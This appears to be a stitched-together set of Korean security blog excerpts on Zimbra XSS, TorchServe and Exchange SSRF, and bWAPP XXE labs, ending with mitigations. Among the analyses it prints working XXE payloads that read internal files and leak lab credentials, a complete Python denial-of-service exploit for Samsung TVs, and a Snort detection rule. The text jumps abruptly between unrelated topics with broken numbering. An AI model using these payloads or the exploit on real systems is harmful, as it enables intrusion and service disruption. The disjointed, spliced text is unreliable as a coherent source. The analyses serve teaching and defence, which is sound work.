> 사용자가 해당 메일의 링크를 클릭할 경우 공격이 진행 [3] > 사용자 이메일과 첨부파일을 탈취하고, 자동 전달 규칙을 설정해 공격자가 제어하는 이메일 주소로 리다이렉션
- 서로 다른 미상의 해킹 그룹은 총 4번의 공격 캠페인을 진행
> 캠페인 1(23.07.29): 익스플로잇 URL이 포함된 메일을 전송 및 실행을 유듀해 이메일 탈취 [3] > 캠페인 2(23.07.11): 특정 조직에 맞춤화되고, 고유한 공식 이메일 주소가 포함된 여러 익스플로잇 URL 전송 [4][5] > 캠페인 3(23.07.20): 웹 메일 자격증명을 캡쳐하는 피싱페이지로 연결되는 익스플로잇 URL을 포함하는 피싱메일 전송 > 캠페인 4(23.08.25): 짐브라 인증 토큰을 탈취하기 위한 피싱메일 전송
3. 대응
- 짐브라는 23.07.05 깃허브에 핫픽스 배포 [6] > 23.07.13 모든 사서함 노드에 수정 사항을 수동으로 적용하는 방법 공개 [7] > 23.07.25 공식 패치 발표 [8]
※ escapeXml()를 이용해 st 매개변수에대한 입력값 검증 과정을 추가한 것으로 판단됨
[수동 적용 방법] ① /opt/zimbra/jetty/webapps/zimbra/m/momoveto 파일을 백업 후 편집 ② 해당 파일 40번째 줄 매개변수 값 업데이트 > <input name="st" type="hidden" value="${fn:escapeXml(param.st)}"/>
※ 업데이트 이전 값: <input name="st" type="hidden" value="${param.st}"/>
- 취약점을 발견한 보안 업체에서 해당 취약점에 영향을 받는지 확인할 수 있는 점검 툴 제공
response=$(curl --max-time 10 -s -X POST http://$TORCHSERVE_IP:$TORCHSERVE_PORT/workflows\?url\=$REMOTE_SERVER/$SSRF_DOWNLOAD_FILE_NAME)
response=$(echo "$response" | tr -d '[:space:]')
echo -e "${COLOR_WHITE_FORMAT}Checking CVE-2023-43654 Remote Server-Side Request Forgery (SSRF)"
# If no response at all
if [ -z "$response" ]; then
echo -e "${COLOR_YELLOW_FORMAT}Cannot check CVE-2023-43654 Failed to send request to http://$TORCHSERVE_IP:$TORCHSERVE_PORT"
# Check response
else
if [[ "$response" == "$SSRF_RESPONSE_EXISTS" ]]; then
echo -e "${COLOR_YELLOW_FORMAT}The test file already exists in the server.To test again remove the file <torchserve_path>model-server/model-store/$SSRF_DOWNLOAD_FILE_NAME and run the script."
HAS_SSRF=true
elif [[ "$response" == "$SSRF_RESPONSE" ]]; then
HAS_SSRF=true
echo -e "${COLOR_RED_FORMAT}Vulnerable to CVE-2023-43654 SSRF file download"
elif [[ "$response" == "$SSRF_NOT_VULNERABLE_RESPONSE" ]]; then
HAS_SSRF=false
echo -e "${COLOR_GREEN_FORMAT}Not Vulnerable to CVE-2023-43654 SSRF file download"
else
HAS_SSRF=true
echo -e "${COLOR_YELLOW_FORMAT}Could not determine if TorchServe is vulnerable to CVE-2023-43654"
fi
fi
- Exchange Serve는 사용자 UI를 담당하는 Front-End와 로직을 담당하는 Back-End로 구성
- Front-End로 들어온 사용자 요청은 내부 처리 과정을 거쳐 1:1로 연결된 Back-End의 모듈로 전송
> 각 요청마다 처리하는 모듈이 다르며 각 모듈은 동일한 하나의 모듈을 상속받아 특성에 맞게 추가 구현됨
2. 취약점 [2]
- Exchange 서버에서 입력값 검증이 미흡하여 발생하는 SSRF 취약점으로 Exchange서버로 인증이 가능
> 영향받는 버전: Microsoft Exchange Server 2013, 2016, 2019
> 공격자는 해당 공격을 통해 Exchange 서버에 접근할 수 있는 일부 권한 획득 및 추가적인 공격을 진행
CVE
설명
CVE-2021-26857
Exchange 서버에서 안전하지 않은 역직렬화로 인해 발생하는 임의코드실행 취약점
CVE-2021-27065
Exchange 서버에서 발생하는 임의파일쓰기 취약점
CVE-2021-26858
2.1 CVE-2021-26855
- Front-End로 들어온 사용자의 요청을 Back-End로 전달 하기위해 ProxyRequestHandler 모듈을 사용 [4]
사용자 접속 페이지
사용자 요청 처리 모듈
최상위 모듈
/owa
OwaProxyRequestHandler
ProxyRequestHandler
/ews
EwsProxyRequestHandler
/ecp
EcpProxyRequestHandler
- ProxyRequestHandler.GetTargetBackEndServerUrl() 메서드 > urlAnchorMailbox의 값이 Null일 경우 Back-End의 Host 값을 this.AnchoredRoutingTarget.BackEndServer.Fqdn에서 가져옴
protected virtual Uri GetTargetBackEndServerUrl() {
this.LogElapsedTime("E_TargetBEUrl");
Uri result;
try {
UrlAnchorMailbox urlAnchorMailbox = this.AnchoredRoutingTarget.AnchorMailbox as UrlAnchorMailbox;
if (urlAnchorMailbox != null) {
result = urlAnchorMailbox.Url;
} else {
UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
clientUrlForProxy.Port = 444;
if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion) {
this.ProxyToDownLevel = true;
RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
clientUrlForProxy.Port = 443;
}
result = clientUrlForProxy.Uri;
}
}
finally {
this.LogElapsedTime("L_TargetBEUrl");
}
return result;
}
- /owa에서 사용자 요청이 올 경우 this.AnchoredRoutingTarget.BackEndServer 값은 BEResourceRequestHandler 모듈의 ResolveAnchorMailbox() 메소드를 통해 결정
> 이때, 사용자 요청에서 "X-AnonResource-Backend" 쿠키의 값을 필터링 없이 그대로 사용
> 따라서, 공격자는 해당 헤더를 접근 불가능한 내부 사이트 또는 다른 서버로 조작하여 접근이 가능하게 됨
protected override AnchorMailbox ResolveAnchorMailbox() {
HttpCookie httpCookie = base.ClientRequest.Cookies["X-AnonResource-Backend"];
if (httpCookie != null) {
this.savedBackendServer = httpCookie.Value;
}
if (!string.IsNullOrEmpty(this.savedBackendServer)) {
base.Logger.Set(3, "X-AnonResource-Backend-Cookie");
if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
ExTraceGlobals.VerboseTracer.TraceDebug<HttpCookie, int>((long)this.GetHashCode(), "[OwaResourceProxyRequestHandler::ResolveAnchorMailbox]: AnonResourceBackend cookie used: {0}; context {1}.", httpCookie, base.TraceContext);
}
return new ServerInfoAnchorMailbox(BackEndServer.FromString(this.savedBackendServer), this);
}
return new AnonymousAnchorMailbox(this);
}
- /ecp에서 사용자 요청이 올 경우 this.AnchoredRoutingTarget.BackEndServer 값은 BEResourceRequestHandler 모듈의 ResolveAnchorMailbox() 메소드를 통해 결정 > 이때, 사용자 요청에서 "X-BEResource" 쿠키의 값을 필터링 없이 그대로 사용 > 공격자는 해당 쿠키를 조작하여 내부 서버에서 계정 정보를 획득 및 악용하여 인증을 우회할 수 있음
2.2 CVE-2021-26857 [5]
- Exchange 서버에서 안전하지 않은 역직렬화로 인해 발생하는 임의코드실행 취약점
> 메일 서버 침투 후 해당 취약점을 이용해 관리자 권한을 획득하여 시스템을 장악
2.3 CVE-2021-27065 [6]
- Exchange 서버에서 발생하는 임의파일쓰기 취약점
> 메일 서버 침투 후 OAB(Offline Address Book) 설정 파일에 한줄 웹쉘을 삽입(=재설정) 후 실행 명령을 포함한 요청을 전송해 웹쉘 실행
> OAB를 재설정하는 과정에서 경로 및 확장자를 검토하는 코드가 없어 공격자가 원하는 위치에 원하는 확장자로 파일 생성 가능 [4]
※ OAB : MS Exchange Server에서 제공하는 주소록 기능으로 Outlook이 Exchange Server와 통신할 때 다운 받게 되는 주소록으로, Exchange server와 통신하지 않는(오프라인) 상황에서 해당 파일을 참조
2.4 CVE-2021-26858 [7]
- Exchange 서버에서 발생하는 임의파일쓰기 취약점
3. 대응방안
① 벤더사에서 제공하는 업데이트 적용 [8][9]
- 특정 쿠키 값 조작 후 접근 불가 사이트 접근 및 인증우회를 방지하기 위한 유효성 검증 코드 추가
- 웹쉘 실행을 방지하기 위해 생성되는 파일의 확장자에 .txt 확장자를 추가하는 코드 추가
- KISA 보호나라 보안 공지 참고 업데이트 적용 [10]
> 즉각적인 업데이트가 불가할 경우 KISA 보호나라 임시 조치 방안 참고 [11]
② 운영체제 및 사용중인 주요 SW의 보안 업데이트 적용 ③불필요한 네트워크 서비스의 경우 중단 또는 기능 삭제 ④방화벽 설정 등을 통해 외부에서 들어오는 스캐닝 등 차단 ⑤웹쉘 업로드 여부 모니터링 및 관련 보안 SW 적용 ⑥지속적 접근을 위한 스케줄러 등록 작업 검토 ⑦공개된 공격도구들에 대한 시그니처를 보안장비에 등록하여 차단 또는 탐지하도록 설정 ⑧로그 모니터링 ⑨공개된 침해지표 등을 보안장비에 등록 등
- 패치 코드는 2277, 2278 라인을 통해 사용자 입력값에 대한 길이 검증을 수행하는 것으로 판단됨
3.2 네트워크 측면
① 공개된 PoC를 통해 탐지 정책을 적용
- "?unix:"와 "|http"를 사용하는 것이 확인됨
- "3a", "7c"는 각각 ":", "|"와 대응됨
alert tcp any any -> any any (msg:"Apache HTTP Server SSRF (CVE-2021-40438)"; flow:established,from_client; urilen:>200; content:"GET"; http_method; content:"/?unix|3a|"; http_uri; nocase; fast_pattern; content:"|7c|http"; http_uri;)
# Accesses a file on the internal network (1)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>
# Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>
2.2.1 Accesses a file on the internal network (1)
- SQL Injection - Stored (XML) 이동 및 프록시 설정 후 버프슈트 실행
- [사진 6]에서 Any bugs? > 버프슈트 Send to Repeater > 내용 작성 > Send
- 해당 요청의 결과로 bWAPP서버에 설정된 robots.txt 파일의 내용이 노출됨
2.2 Accesses a file on the internal network (2)
- [사진 6]에서 Any bugs? > 버프슈트Send to Repeater > 내용 작성 > Send
- [사진 8]에서 확인된 응답을 버프슈트의 Decoder에서 based64로 디코딩한 결과 /bWAPP/passwords/heroes.xml 파일의 내용이 노출됨
<?xml version="1.0" encoding="UTF-8"?>
<heroes>
<hero>
<id>1</id>
<login>neo</login>
<password>trinity</password>
<secret>Oh why didn't I took that BLACK pill?</secret>
<movie>The Matrix</movie>
<genre>action sci-fi</genre>
</hero>
<hero>
<id>2</id>
<login>alice</login>
<password>loveZombies</password>
<secret>There's a cure!</secret>
<movie>Resident Evil</movie>
<genre>action horror sci-fi</genre>
</hero>
<hero>
<id>3</id>
<login>thor</login>
<password>Asgard</password>
<secret>Oh, no... this is Earth... isn't it?</secret>
<movie>Thor</movie>
<genre>action sci-fi</genre>
</hero>
<hero>
<id>4</id>
<login>wolverine</login>
<password>Log@N</password>
<secret>What's a Magneto?</secret>
<movie>X-Men</movie>
<genre>action sci-fi</genre>
</hero>
<hero>
<id>5</id>
<login>johnny</login>
<password>m3ph1st0ph3l3s</password>
<secret>I'm the Ghost Rider!</secret>
<movie>Ghost Rider</movie>
<genre>action sci-fi</genre>
</hero>
<hero>
<id>6</id>
<login>selene</login>
<password>m00n</password>
<secret>It wasn't the Lycans. It was you.</secret>
<movie>Underworld</movie>
<genre>action horror sci-fi</genre>
</hero>
</heroes>
2.3 XXE를 이용한 삼성 스마트 TV 공격 (CVE-2013-4890)
- CVE-2013-4890는 Samsung PS50C7700 TV의 DMCRUIS/0.1 웹 서버에 GET 요청으로 A를 300개 설정 후 TCP/5600으로 전송하면 서비스가 중지되는 취약점
- ssrf-3.txt 파일 내용
# Crashes my Samsung SmartTV (CVE-2013-4890) ;)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "http://[IP]:5600/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>
- 공개된 PoC를 확인해보면, 취약한 삼성 스마트 TV에 A를 300개로 설정 및 TCP/5600로 요청을 전송하는 것을 확인할 수 있음
#!/usr/bin/python
# Exploit Title: Samsung TV Denial of Service (DoS) Attack
# Date: 07/21/2013
# Exploit Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com
# CVE Number: CVE-2013-4890
# Vendor Homepage: http://www.samsung.com
# Description: Resets some Samsung TVs
# The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long HTTP GET request
# Tested successfully on my Samsung PS50C7700 plasma TV :)
import httplib
import sys
import os
print " ***************************************************************************************"
print " Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com\n"
print " Exploit: Denial of Service (DoS) attack\n"
print " Description: Resets some Samsung TVs\n"
print " The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long request."
print " Tested successfully on my Samsung PS50C7700 plasma TV :)\n"
print " ***************************************************************************************\n"
# Sends the payload
print " Sending the malicious payload...\n"
conn = httplib.HTTPConnection(sys.argv[1],5600)
conn.request("GET", "A"*300)
conn.close()
# Checks the response
print " Checking the status... (CTRL+Z to stop)\n"
response = 0
while response == 0:
response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
if response != 0:
print " Target down!\n"
- 공격 시연 YouTebe
https://www.youtube.com/watch?v=U-R2epNnUiM
3. 대응방안
① 입력값 필터링
- 서버 내부에서 접근해선 안 되는 값들을 필터링하거나 127.0.0.1, localhost, 사설 IP 대역 등을 블랙리스트필터링 - 허용된 도메인과 URL에 대해서만 접근 가능하도록 입력값을 화이트리스트 방식으로 필터링